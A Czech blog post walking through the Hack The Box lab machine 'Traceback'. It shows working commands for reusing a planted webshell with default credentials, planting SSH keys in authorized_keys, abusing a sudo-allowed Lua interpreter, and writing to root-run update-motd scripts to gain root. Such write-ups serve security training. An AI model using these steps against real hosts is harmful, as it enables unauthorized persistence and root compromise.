tom@home.htb:~$

Blog o HTB

26 January 2021

Traceback

Úvod a kontext

Traceback nezačíná nalezením nové zranitelnosti, ale rozpoznáním známého webshellu, který už na serveru běží. To je samo o sobě dobré připomenutí, že při incident response nebo pentestu nemusí být prvním cílem „najít exploit“, ale pochopit, co na hostu zůstalo po předchozí kompromitaci.

Další postup je pak čisté řetězení špatně delegovaných práv. Webshell otevře účet webadmin, ten může přes sudo spouštět interpret luvit jako sysadmin, a sysadmin zase může upravovat skripty v /etc/update-motd.d, které se spouštějí jako root při každém přihlášení. Právě poslední krok dobře zapadá do témat Údržbové skripty a provozní automaty jako zdroj přístupů a Zápis do prostoru, který se pak vykoná nebo použije pro autentizaci.

Počáteční průzkum

Vyhledání otevřených portů

Nejdřív ověřuji, jak malá je veřejná plocha stroje.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

Web na portu 80 vypadal nezajímavě, ale v HTML zdroji byla podstatná nápověda:

Some of the best web shells that you might need
https://github.com/TheBinitGhimire/Web-Shells

To je silný hint, že na hostu může být některý z veřejně známých webshellů už nasazený.

Analýza zjištění

Nalezení smevk.php

Z relevantních kandidátů se rychle potvrdil smevk.php:

http://10.10.10.181/smevk.php

Přihlašovací údaje byly ponechané v defaultní podobě:

admin:admin

Jakmile takový webshell funguje, nemá smysl zůstávat u webového rozhraní déle, než je nutné. Hlavní cíl je přejít na stabilní SSH přístup.

Získání přístupu

Přechod na webadmin

Přes webshell šlo zapsat vlastní veřejný klíč do účtu webadmin:

echo "ssh-rsa __CENSORED__== hack@t" >> /home/webadmin/.ssh/authorized_keys

Tím vznikl SSH přístup:

ssh webadmin@$IP

luvit jako sysadmin

Další důležitý výstup byl:

sudo -l
(sysadmin) NOPASSWD: /home/sysadmin/luvit

luvit je Lua runtime pro Node-like skripty, takže nejde o neškodný pomocný binární soubor, ale o interpret schopný spouštět příkazy. To znamená, že jeho spuštění jako sysadmin je v praxi přímý code execution v tomto kontextu.

Praktický přechod vypadal takto:

sudo -u sysadmin /home/sysadmin/luvit

Uvnitř šlo přes childprocess.exec přidat vlastní klíč do sysadmin/.ssh/authorized_keys:

childprocess.exec('echo "ssh-rsa __CENSORED__== hack@t" >> /home/sysadmin/.ssh/authorized_keys', print)

Pak už stačilo přihlášení:

ssh sysadmin@$IP

A potvrzení user flagu:

cat user.txt
__CENSORED__

Eskalace oprávnění

Zapisovatelný update-motd

Na účtu sysadmin byla nejdůležitější schopnost zapisovat do /etc/update-motd.d/. Tyto skripty nejsou jen kosmetika pro banner po přihlášení. pam_motd je spouští jako root při každém loginu.

To z nich dělá ideální privesc vektor: pokud lze změnit obsah skriptu a následně vyvolat nové SSH přihlášení před obnovou původního stavu, spustí se útočníkův kód jako root. Write oprávnění se tu tedy mění v odložené root execution při loginu.

Prakticky stačilo upravit například 00-header a přidat příkaz, který zkopíruje sysadmin klíč i rootovi:

echo "cp /home/sysadmin/.ssh/authorized_keys /root/.ssh/" >> /etc/update-motd.d/00-header

Pak už stačí okamžitě otevřít nové SSH spojení. Při loginu se modifikovaný MOTD skript vykoná jako root a zkopíruje klíč do /root/.ssh/authorized_keys.

Následně je možné se přihlásit jako root:

ssh root@$IP

A přečíst root.txt.

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: linux - rce - ssh - sudo - php - exploit